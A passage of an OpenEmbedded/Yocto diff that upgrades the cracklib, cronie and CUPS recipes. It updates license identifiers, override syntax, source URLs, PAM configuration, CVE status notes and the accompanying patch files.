@@ -273,7 +273,7 @@ index f851424..3aac805 100644
for (i = 0; i < sizeof(pdesc.hwms) / sizeof(pdesc.hwms[0]); i++)
{
pdesc.hwms[i] = pdesc64.hwms[i];
-@@ -299,6 +492,7 @@ PWOpen(prefix, mode)
+@@ -297,6 +490,7 @@ PWOpen(prefix, mode)
{
pdesc.flags &= ~PFOR_USEHWMS;
}
@@ -281,7 +281,7 @@ index f851424..3aac805 100644
#if DEBUG
for (i=1; i<=0xff; i++)
{
-@@ -332,7 +526,11 @@ PWClose(pwp)
+@@ -330,7 +524,11 @@ PWClose(pwp)
return (-1);
}
@@ -294,7 +294,7 @@ index f851424..3aac805 100644
{
fprintf(stderr, "index magic fwrite failed\n");
return (-1);
-@@ -351,7 +549,12 @@ PWClose(pwp)
+@@ -349,7 +547,12 @@ PWClose(pwp)
printf("hwm[%02x] = %d\n", i, pwp->hwms[i]);
#endif
}
@@ -308,7 +308,7 @@ index f851424..3aac805 100644
}
}
-@@ -405,7 +608,8 @@ PutPW(pwp, string)
+@@ -403,7 +606,8 @@ PutPW(pwp, string)
datum = (uint32_t) ftell(pwp->dfp);
@@ -317,8 +317,8 @@ index f851424..3aac805 100644
+ fwrite((char *) &tmpdatum, sizeof(tmpdatum), 1, pwp->ifp);
fputs(pwp->data_put[0], pwp->dfp);
- putc(0, pwp->dfp);
-@@ -464,6 +668,7 @@ GetPW(pwp, number)
+ putc(0, (FILE*) pwp->dfp);
+@@ -462,6 +666,7 @@ GetPW(pwp, number)
perror("(index fread failed)");
return NULL;
}
@@ -326,7 +326,7 @@ index f851424..3aac805 100644
datum = datum64;
} else {
if (fseek(pwp->ifp, sizeof(struct pi_header) + (thisblock * sizeof(uint32_t)), 0))
-@@ -477,6 +682,7 @@ GetPW(pwp, number)
+@@ -475,6 +680,7 @@ GetPW(pwp, number)
perror("(index fread failed)");
return NULL;
}
@@ -335,5 +335,5 @@ index f851424..3aac805 100644
int r = 1;
--
-1.8.4.2
+2.20.1
diff --git a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch b/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
deleted file mode 100644
index 6210e82121..0000000000
--- a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From 06f9a88b5dd5597f9198ea0cb34f5e96f180e6e3 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Sat, 27 Apr 2013 16:02:30 +0800
-Subject: [PATCH] craklib:fix testnum and teststr failed
-
-Error log:
-...
-$ ./testnum
-(null).pwd.gz: No such file or directory
-PWOpen: No such file or directory
-
-$ ./util/teststr
-(null).pwd.gz: No such file or directory
-PWOpen: No such file or directory
-...
-Set DEFAULT_CRACKLIB_DICT as the path of PWOpen
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Upstream-Status: Pending
----
- util/testnum.c | 2 +-
- util/teststr.c | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/util/testnum.c b/util/testnum.c
-index ae2246d..ca210ff 100644
---- a/util/testnum.c
-+++ b/util/testnum.c
-@@ -20,7 +20,7 @@ main ()
- PWDICT *pwp;
- char buffer[STRINGSIZE];
-
-- if (!(pwp = PWOpen (NULL, "r")))
-+ if (!(pwp = PWOpen (DEFAULT_CRACKLIB_DICT, "r")))
- {
- perror ("PWOpen");
- return (-1);
-diff --git a/util/teststr.c b/util/teststr.c
-index 2a31fa4..9fb9cda 100644
---- a/util/teststr.c
-+++ b/util/teststr.c
-@@ -15,7 +15,7 @@ main ()
- PWDICT *pwp;
- char buffer[STRINGSIZE];
-
-- if (!(pwp = PWOpen (NULL, "r")))
-+ if (!(pwp = PWOpen (DEFAULT_CRACKLIB_DICT, "r")))
- {
- perror ("PWOpen");
- return (-1);
---
-1.7.10.4
-
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.11.bb b/meta/recipes-extended/cracklib/cracklib_2.9.11.bb
new file mode 100644
index 0000000000..34ef2b65a1
--- /dev/null
+++ b/meta/recipes-extended/cracklib/cracklib_2.9.11.bb
@@ -0,0 +1,33 @@
+SUMMARY = "Password strength checker library"
+HOMEPAGE = "https://github.com/cracklib/cracklib"
+DESCRIPTION = "${SUMMARY}"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
+
+DEPENDS = "cracklib-native zlib"
+
+EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
+
+SRC_URI = "git://github.com/cracklib/cracklib;protocol=https;branch=main \
+ file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
+ "
+
+SRCREV = "4cf5125250c6325ef0a2dc085eabff875227edc3"
+S = "${WORKDIR}/git/src"
+
+inherit autotools gettext
+
+# This is custom stuff from upstream's autogen.sh
+do_configure:prepend() {
+ mkdir -p ${S}/m4
+ echo EXTRA_DIST = *.m4 > ${S}/m4/Makefile.am
+ touch ${S}/ABOUT-NLS
+}
+
+do_install:append:class-target() {
+ create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
+}
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb b/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
deleted file mode 100644
index 82995219dc..0000000000
--- a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Password strength checker library"
-HOMEPAGE = "http://sourceforge.net/projects/cracklib"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
-
-DEPENDS = "cracklib-native zlib"
-
-EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/cracklib/cracklib-${PV}.tar.gz \
- file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
- file://0001-Apply-patch-to-fix-CVE-2016-6318.patch \
- file://0002-craklib-fix-testnum-and-teststr-failed.patch"
-
-SRC_URI[md5sum] = "376790a95c1fb645e59e6e9803c78582"
-SRC_URI[sha256sum] = "59ab0138bc8cf90cccb8509b6969a024d5e58d2d02bcbdccbb9ba9b88be3fa33"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/cracklib/files/cracklib/"
-UPSTREAM_CHECK_REGEX = "/cracklib/(?P<pver>(\d+[\.\-_]*)+)/"
-
-inherit autotools gettext
-
-do_install_append_class-target() {
- create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
-}
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-extended/cronie/cronie/crond_pam_config.patch b/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
index 6c928165cd..464d1470e3 100644
--- a/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
+++ b/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
@@ -1,22 +1,32 @@
+From f5b325cba73018e5be984570fd4e680e59e7865d Mon Sep 17 00:00:00 2001
+From: Wenzong Fan <wenzong.fan@windriver.com>
+Date: Wed, 20 Jul 2011 02:42:28 +0000
+Subject: [PATCH] cronie: enable PAM support for cronie
+
password-auth is the Fedora's common pam configure file, use oe common pam
configure files instead.
Upstream-Status: Pending
Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
-Index: cronie-1.5.1/pam/crond
-===================================================================
---- cronie-1.5.1.orig/pam/crond
-+++ cronie-1.5.1/pam/crond
+
+---
+ pam/crond | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/pam/crond b/pam/crond
+index 560529d..95a6457 100644
+--- a/pam/crond
++++ b/pam/crond
@@ -4,8 +4,8 @@
#
# Although no PAM authentication is called, auth modules
# are used for credential setting
--auth include password-auth
+-auth include system-auth
+auth include common-auth
account required pam_access.so
--account include password-auth
-+account include common-account
+-account include system-auth
++account include common-auth
session required pam_loginuid.so
--session include password-auth
+-session include system-auth
+session include common-session-noninteractive
diff --git a/meta/recipes-extended/cronie/cronie_1.5.1.bb b/meta/recipes-extended/cronie/cronie_1.7.2.bb
index cfb8c21052..abdaff644d 100644
--- a/meta/recipes-extended/cronie/cronie_1.5.1.bb
+++ b/meta/recipes-extended/cronie/cronie_1.7.2.bb
@@ -7,16 +7,16 @@ HOMEPAGE = "https://github.com/cronie-crond/cronie/"
BUGTRACKER = "https://bugzilla.redhat.com"
# Internet Systems Consortium License
-LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPLv2+"
+LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \
file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \
file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9"
SECTION = "utils"
-UPSTREAM_CHECK_URI = "https://github.com/cronie-crond/${BPN}/releases/"
+GITHUB_BASE_URI = "https://github.com/cronie-crond/${BPN}/releases/"
-SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV}/cronie-${PV}.tar.gz \
+SRC_URI = "${GITHUB_BASE_URI}/download/cronie-${PV}/cronie-${PV}.tar.gz \
file://crond.init \
file://crontab \
file://crond.service \
@@ -25,36 +25,38 @@ SRC_URI = "https://github.com/cronie-crond/cronie/releases/download/cronie-${PV}
PAM_SRC_URI = "file://crond_pam_config.patch"
PAM_DEPS = "libpam libpam-runtime pam-plugin-access pam-plugin-loginuid"
-SRC_URI[md5sum] = "910e6effcc032998b0a49fbd46322e18"
-SRC_URI[sha256sum] = "6c73666102a6b5d35e2eaf1bd06925f2d4b0cef8d3323c37286dda3089a85338"
+SRC_URI[sha256sum] = "f1da374a15ba7605cf378347f96bc8b678d3d7c0765269c8242cfe5b0789c571"
-inherit autotools update-rc.d useradd systemd
+inherit autotools update-rc.d useradd systemd github-releases
+UPSTREAM_CHECK_REGEX = "releases/tag/cronie-(?P<pver>\d+(\.\d+)+)"
PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}"
PACKAGECONFIG[audit] = "--with-audit,--without-audit,audit,"
PACKAGECONFIG[pam] = "--with-pam,--without-pam,libpam,${PAM_DEPS}"
+PACKAGECONFIG[anacron] = "--enable-anacron,--disable-anacron,anacron"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
INITSCRIPT_NAME = "crond"
INITSCRIPT_PARAMS = "start 90 2 3 4 5 . stop 60 0 1 6 ."
USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system crontab"
+GROUPADD_PARAM:${PN} = "--system crontab"
-SYSTEMD_SERVICE_${PN} = "crond.service"
+SYSTEMD_SERVICE:${PN} = "crond.service"
-do_install_append () {
+do_install:append () {
install -d ${D}${sysconfdir}/sysconfig/
install -d ${D}${sysconfdir}/init.d/
install -m 0644 ${S}/crond.sysconfig ${D}${sysconfdir}/sysconfig/crond
install -m 0755 ${WORKDIR}/crond.init ${D}${sysconfdir}/init.d/crond
# install systemd unit files
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_unitdir}/system
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_system_unitdir}
sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
-e 's,@SBINDIR@,${sbindir},g' \
- ${D}${systemd_unitdir}/system/crond.service
+ ${D}${systemd_system_unitdir}/crond.service
# below are necessary for a complete cron environment
install -d ${D}${localstatedir}/spool/cron
@@ -79,5 +81,5 @@ do_install_append () {
chmod 600 ${D}${sysconfdir}/crontab
}
-FILES_${PN} += "${sysconfdir}/cron*"
-CONFFILES_${PN} += "${sysconfdir}/crontab"
+FILES:${PN} += "${sysconfdir}/cron*"
+CONFFILES:${PN} += "${sysconfdir}/crontab"
diff --git a/meta/recipes-extended/cups/cups.inc b/meta/recipes-extended/cups/cups.inc
index ac4d225c1a..b70ba3ae58 100644
--- a/meta/recipes-extended/cups/cups.inc
+++ b/meta/recipes-extended/cups/cups.inc
@@ -1,75 +1,81 @@
SUMMARY = "An Internet printing system for Unix"
+DESCRIPTION = "The Common UNIX Printing System is a printing system and \
+general replacement for lpd and the like. It supports the Internet Printing \
+Protocol (IPP), and has its own filtering driver model for handling various \
+document types."
HOMEPAGE = "https://www.cups.org/"
SECTION = "console/utils"
-LICENSE = "GPLv2 & LGPLv2"
-DEPENDS = "gnutls libpng jpeg dbus dbus-glib zlib libusb"
-
-SRC_URI = "https://github.com/apple/cups/releases/download/v${PV}/${BP}-source.tar.gz \
- file://use_echo_only_in_init.patch \
- file://0001-don-t-try-to-run-generated-binaries.patch \
- file://cups_serverbin.patch \
- "
-
-UPSTREAM_CHECK_URI = "https://github.com/apple/cups/releases"
-UPSTREAM_CHECK_REGEX = "cups-(?P<pver>\d+\.\d+(\.\d+)?)-source.tar"
+LICENSE = "Apache-2.0"
+DEPENDS = "libpng jpeg dbus zlib libusb1"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/cups-${PV}-source.tar.gz \
+ file://0001-use-echo-only-in-init.patch \
+ file://0002-don-t-try-to-run-generated-binaries.patch \
+ file://libexecdir.patch \
+ file://0004-cups-fix-multilib-install-file-conflicts.patch \
+ file://volatiles.99_cups \
+ file://cups-volatiles.conf \
+ "
+
+GITHUB_BASE_URI = "https://github.com/OpenPrinting/cups/releases"
+
+CVE_STATUS[CVE-2008-1033] = "not-applicable-platform: Issue only applies to MacOS"
+CVE_STATUS[CVE-2009-0032] = "cpe-incorrect: Issue affects pdfdistiller plugin used with but not part of cups"
+CVE_STATUS[CVE-2018-6553] = "not-applicable-platform: This is an Ubuntu only issue"
+CVE_STATUS[CVE-2022-26691] = "fixed-version: This is fixed in 2.4.2 but the cve-check class still reports it"
+CVE_STATUS[CVE-2021-25317] = "not-applicable-config: This concerns /var/log/cups having lp ownership, our /var/log/cups is root:root, so this doesn't apply."
LEAD_SONAME = "libcupsdriver.so"
CLEANBROKEN = "1"
-inherit autotools-brokensep binconfig useradd systemd pkgconfig
+inherit autotools-brokensep binconfig useradd systemd pkgconfig multilib_script github-releases
USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system lpadmin"
+GROUPADD_PARAM:${PN} = "--system lpadmin"
-SYSTEMD_SERVICE_${PN} = "org.cups.cupsd.socket org.cups.cupsd.path org.cups.cupsd.service org.cups.cups-lpd.socket org.cups.cups-lpd@.service"
+SYSTEMD_SERVICE:${PN} = "cups.socket cups.path cups.service cups-lpd.socket"
PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)}"
-PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi"
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)} \
+ openssl \
+"
+PACKAGECONFIG[avahi] = "--with-dnssd=avahi,--with-dnssd=no,avahi"
PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl"
-PACKAGECONFIG[pam] = "--enable-pam, --disable-pam, libpam"
+PACKAGECONFIG[gnutls] = "--with-tls=gnutls,,gnutls,,,openssl"
+PACKAGECONFIG[openssl] = "--with-tls=openssl,,openssl,,,gnutls"
+PACKAGECONFIG[pam] = "--enable-pam --with-pam-module=unix, --disable-pam, libpam"
PACKAGECONFIG[systemd] = "--with-systemd=${systemd_system_unitdir},--without-systemd,systemd"
PACKAGECONFIG[xinetd] = "--with-xinetd=${sysconfdir}/xinetd.d,--without-xinetd,xinetd"
+PACKAGECONFIG[webif] = "--enable-webif,--disable-webif"
EXTRA_OECONF = " \
- --enable-gnutls \
--enable-dbus \
+ --with-dbusdir=${sysconfdir}/dbus-1 \
--enable-browsing \
--disable-gssapi \
--enable-debug \
--disable-relro \
--enable-libusb \
- --without-php \
- --without-perl \
- --without-python \
- --without-java \
+ --with-system-groups=lpadmin,root,sys,wheel \
+ --with-cups-group=lp \
+ --with-domainsocket=/run/cups/cups.sock \
+ --with-pkgconfpath=${libdir}/pkgconfig \
DSOFLAGS='${LDFLAGS}' \
"
EXTRA_AUTORECONF += "--exclude=autoheader"
-do_compile () {
- echo "all:" > man/Makefile
- echo "libs:" >> man/Makefile
- echo "install:" >> man/Makefile
- echo "install-data:" >> man/Makefile
- echo "install-exec:" >> man/Makefile
- echo "install-headers:" >> man/Makefile
- echo "install-libs:" >> man/Makefile
-
- oe_runmake
-}
-
do_install () {
- oe_runmake "DSTROOT=${D}" install
+ oe_runmake "BUILDROOT=${D}" install
# Remove /var/run from package as cupsd will populate it on startup
rm -fr ${D}/${localstatedir}/run
- rmdir ${D}/${libdir}/${BPN}/driver
+ rm -fr ${D}/${localstatedir}/log
+ rmdir ${D}/${libexecdir}/${BPN}/driver
# Fix the pam configuration file permissions
- if ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'true', 'false', d)}; then
+ if ${@bb.utils.contains('PACKAGECONFIG', 'pam', 'true', 'false', d)}; then
chmod 0644 ${D}${sysconfdir}/pam.d/cups
fi
@@ -77,34 +83,36 @@ do_install () {
if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','false','true',d)}; then
rm -rf ${D}${sysconfdir}/init.d/
rm -rf ${D}${sysconfdir}/rc*
+ install -d ${D}${sysconfdir}/tmpfiles.d
+ install -m 0644 ${WORKDIR}/cups-volatiles.conf \
+ ${D}${sysconfdir}/tmpfiles.d/cups.conf
+ else
+ install -d ${D}${sysconfdir}/default/volatiles
+ install -m 0644 ${WORKDIR}/volatiles.99_cups \
+ ${D}${sysconfdir}/default/volatiles/99_cups
fi
}
-PACKAGES =+ "${PN}-lib ${PN}-libimage"
+PACKAGES =+ "${PN}-lib ${PN}-libimage ${PN}-webif"
-RDEPENDS_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
-FILES_${PN} += "${libdir}/cups/backend \
- ${libdir}/cups/cgi-bin \
- ${libdir}/cups/filter \
- ${libdir}/cups/monitor \
- ${libdir}/cups/notifier \
- ${libdir}/cups/daemon \
- "
+RDEPENDS:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
+FILES:${PN} += "${libexecdir}/cups/"
-FILES_${PN}-lib = "${libdir}/libcups.so.*"
+FILES:${PN}-lib = "${libdir}/libcups.so.*"
-FILES_${PN}-libimage = "${libdir}/libcupsimage.so.*"
+FILES:${PN}-libimage = "${libdir}/libcupsimage.so.*"
-#package the html for the webgui inside the main packages (~1MB uncompressed)
+# put the html for the web interface into its own PACKAGE
+FILES:${PN}-webif += "${datadir}/doc/cups/ ${datadir}/icons/"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'webif', '${PN}-webif', '', d)}"
-FILES_${PN} += "${datadir}/doc/cups/images \
- ${datadir}/doc/cups/*html \
- ${datadir}/doc/cups/*.css \
- ${datadir}/icons/ \
- "
-CONFFILES_${PN} += "${sysconfdir}/cups/cupsd.conf"
+CONFFILES:${PN} += "${sysconfdir}/cups/cupsd.conf"
+
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/cups-config"
+
+LOCALE_PATHS += "${datadir}/cups/templates"
SYSROOT_PREPROCESS_FUNCS += "cups_sysroot_preprocess"
cups_sysroot_preprocess () {
- sed -i ${SYSROOT_DESTDIR}${bindir_crossscripts}/cups-config -e 's:cups_datadir=.*:cups_datadir=${datadir}/cups:' -e 's:cups_serverbin=.*:cups_serverbin=${libdir}/cups:'
+ sed -i ${SYSROOT_DESTDIR}${bindir_crossscripts}/cups-config -e 's:cups_datadir=.*:cups_datadir=${datadir}/cups:' -e 's:cups_serverbin=.*:cups_serverbin=${libexecdir}/cups:'
}
diff --git a/meta/recipes-extended/cups/cups/0001-don-t-try-to-run-generated-binaries.patch b/meta/recipes-extended/cups/cups/0001-don-t-try-to-run-generated-binaries.patch
deleted file mode 100644
index 5379eb6aa2..0000000000
--- a/meta/recipes-extended/cups/cups/0001-don-t-try-to-run-generated-binaries.patch
+++ /dev/null
@@ -1,69 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-From 90069586167b930befce7303aea57078f04b4ed8 Mon Sep 17 00:00:00 2001
-From: Koen Kooi <koen@dominion.thruhere.net>
-Date: Sun, 30 Jan 2011 16:37:27 +0100
-Subject: [PATCH] don't try to run generated binaries
-
-Signed-off-by: Koen Kooi <koen@dominion.thruhere.net>
----
- ppdc/Makefile | 30 +++++++++++++++---------------
- 1 files changed, 15 insertions(+), 15 deletions(-)
-
-Index: cups-2.0.0/ppdc/Makefile
-===================================================================
---- cups-2.0.0.orig/ppdc/Makefile
-+++ cups-2.0.0/ppdc/Makefile
-@@ -242,8 +242,8 @@ genstrings: genstrings.o libcupsppdc.a
- $(CXX) $(ARCHFLAGS) $(LDFLAGS) -o genstrings genstrings.o \
- libcupsppdc.a ../cups/$(LIBCUPSSTATIC) $(LIBGSSAPI) $(SSLLIBS) \
- $(DNSSDLIBS) $(COMMONLIBS) $(LIBZ)
-- echo Generating localization strings...
-- ./genstrings >sample.c
-+# echo Generating localization strings...
-+# ./genstrings >sample.c
-
-
- #
-@@ -260,9 +260,9 @@ ppdc-static: ppdc.o libcupsppdc.a ../cu
- $(CXX) $(ARCHFLAGS) $(LDFLAGS) -o ppdc-static ppdc.o libcupsppdc.a \
- ../cups/$(LIBCUPSSTATIC) $(LIBGSSAPI) $(SSLLIBS) $(DNSSDLIBS) \
- $(COMMONLIBS) $(LIBZ)
-- echo Testing PPD compiler...
-- ./ppdc-static -l en,fr -I ../data foo.drv
-- ./ppdc-static -l en,fr -z -I ../data foo.drv
-+# echo Testing PPD compiler...
-+# ./ppdc-static -l en,fr -I ../data foo.drv
-+# ./ppdc-static -l en,fr -z -I ../data foo.drv
-
-
- #
-@@ -288,17 +288,17 @@ ppdi-static: ppdc-static ppdi.o libcups
- $(CXX) $(ARCHFLAGS) $(LDFLAGS) -o ppdi-static ppdi.o libcupsppdc.a \
- ../cups/$(LIBCUPSSTATIC) $(LIBGSSAPI) $(SSLLIBS) $(DNSSDLIBS) \
- $(COMMONLIBS) $(LIBZ)
-- echo Testing PPD importer...
-- $(RM) -r ppd ppd2 sample-import.drv
-- ./ppdc-static -l en -I ../data sample.drv
-- ./ppdi-static -I ../data -o sample-import.drv ppd/*
-- ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
-- if diff -r ppd ppd2 >/dev/null; then \
-- echo PPD import OK; \
-- else \
-- echo PPD import FAILED; \
-- exit 1; \
-- fi
-+# echo Testing PPD importer...
-+# $(RM) -r ppd ppd2 sample-import.drv
-+# ./ppdc-static -l en -I ../data sample.drv
-+# ./ppdi-static -I ../data -o sample-import.drv ppd/*
-+# ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
-+# if diff -r ppd ppd2 >/dev/null; then \
-+# echo PPD import OK; \
-+# else \
-+# echo PPD import FAILED; \
-+# exit 1; \
-+# fi
-
-
- #
diff --git a/meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch b/meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch
new file mode 100644
index 0000000000..80bbad0a44
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch
@@ -0,0 +1,27 @@
+From a3f4d8ba97f4669a95943a7e65eb61aa44ce7999 Mon Sep 17 00:00:00 2001
+From: Saul Wold <sgw@linux.intel.com>
+Date: Thu, 13 Dec 2012 19:03:52 -0800
+Subject: [PATCH 1/4] use echo only in init
+
+Upstream-Status: Inappropriate [embedded specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ scheduler/cups.sh.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/scheduler/cups.sh.in b/scheduler/cups.sh.in
+index 89ac36d..6618a0f 100644
+--- a/scheduler/cups.sh.in
++++ b/scheduler/cups.sh.in
+@@ -50,7 +50,7 @@ case "`uname`" in
+ ECHO_ERROR=:
+ ;;
+
+- Linux*)
++ DisableLinux*)
+ IS_ON=/bin/true
+ if test -f /etc/init.d/functions; then
+ . /etc/init.d/functions
+--
+2.17.1
+
diff --git a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
new file mode 100644
index 0000000000..2bc26edbfc
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
@@ -0,0 +1,31 @@
+From 3e9a965dcd65ab2d40b753b6f792a1a4559182aa Mon Sep 17 00:00:00 2001
+From: Koen Kooi <koen@dominion.thruhere.net>
+Date: Sun, 30 Jan 2011 16:37:27 +0100
+Subject: [PATCH 2/4] don't try to run generated binaries
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Koen Kooi <koen@dominion.thruhere.net>
+
+---
+ ppdc/Makefile | 32 ++++++++++++++++----------------
+ 1 file changed, 16 insertions(+), 16 deletions(-)
+
+diff --git a/ppdc/Makefile b/ppdc/Makefile
+index 32e2e0b..f1478d4 100644
+--- a/ppdc/Makefile
++++ b/ppdc/Makefile
+@@ -186,8 +186,8 @@ genstrings: genstrings.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC) \
+ $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o genstrings genstrings.o \
+ libcupsppdc.a $(LINKCUPSSTATIC)
+ $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
+- echo Generating localization strings...
+- ./genstrings >sample.c
++# echo Generating localization strings...
++# ./genstrings >sample.c
+
+
+ #
+--
+2.17.1
+
diff --git a/meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch b/meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch
new file mode 100644
index 0000000000..bc9260307c
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch
@@ -0,0 +1,33 @@
+From 7dbda1887aa19ab720aff22312f4caff2d575f62 Mon Sep 17 00:00:00 2001
+From: Kai Kang <kai.kang@windriver.com>
+Date: Wed, 3 Oct 2018 00:27:11 +0800
+Subject: [PATCH 4/4] cups: fix multilib install file conflicts
+
+@CUPS_SERVERBIN@ is ${libdir} related that causes multilib install file
+conflict. Remove @CUPS_SERVERBIN@ from the comment line of cups-files.conf to
+avoid the conflict.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+---
+ conf/cups-files.conf.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/conf/cups-files.conf.in b/conf/cups-files.conf.in
+index 4a78ba6..03c6582 100644
+--- a/conf/cups-files.conf.in
++++ b/conf/cups-files.conf.in
+@@ -73,7 +73,7 @@ PageLog @CUPS_LOGDIR@/page_log
+ #RequestRoot @CUPS_REQUESTS@
+
+ # Location of helper programs...
+-#ServerBin @CUPS_SERVERBIN@
++#ServerBin
+
+ # SSL/TLS keychain for the scheduler...
+ #ServerKeychain @CUPS_SERVERKEYCHAIN@
+--
+2.17.1
+
diff --git a/meta/recipes-extended/cups/cups/cups-volatiles.conf b/meta/recipes-extended/cups/cups/cups-volatiles.conf
new file mode 100644
index 0000000000..0ede78e1c8
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/cups-volatiles.conf
@@ -0,0 +1 @@
+d /var/log/cups 0755 root root -
diff --git a/meta/recipes-extended/cups/cups/cups_serverbin.patch b/meta/recipes-extended/cups/cups/cups_serverbin.patch
deleted file mode 100644
index f7b44a7bc1..0000000000
--- a/meta/recipes-extended/cups/cups/cups_serverbin.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-Make CUPS_SERVERBIN relative to libdir otherwise on 64bit arches
-e.g. ppc64 where base libdir is lib64 this does not go well
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [OE config specific]
-
-Index: cups-1.4.6/config-scripts/cups-directories.m4
-===================================================================
---- cups-1.4.6.orig/config-scripts/cups-directories.m4 2009-04-12 16:04:51.000000000 -0700
-+++ cups-1.4.6/config-scripts/cups-directories.m4 2012-07-21 12:12:05.896405923 -0700
-@@ -397,7 +397,7 @@
- *)
- # All others
- INSTALL_SYSV="install-sysv"
-- CUPS_SERVERBIN="$exec_prefix/lib/cups"
-+ CUPS_SERVERBIN="$libdir/cups"
- ;;
- esac
-
-Index: cups-1.4.6/configure
-===================================================================
---- cups-1.4.6.orig/configure 2012-07-21 12:13:34.512405950 -0700
-+++ cups-1.4.6/configure 2012-07-21 12:14:05.724406017 -0700
-@@ -11181,7 +11181,7 @@
- *)
- # All others
- INSTALL_SYSV="install-sysv"
-- CUPS_SERVERBIN="$exec_prefix/lib/cups"
-+ CUPS_SERVERBIN="$libdir/cups"
- ;;
- esac
-
diff --git a/meta/recipes-extended/cups/cups/libexecdir.patch b/meta/recipes-extended/cups/cups/libexecdir.patch
new file mode 100644
index 0000000000..7ccad94f0f
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/libexecdir.patch
@@ -0,0 +1,35 @@
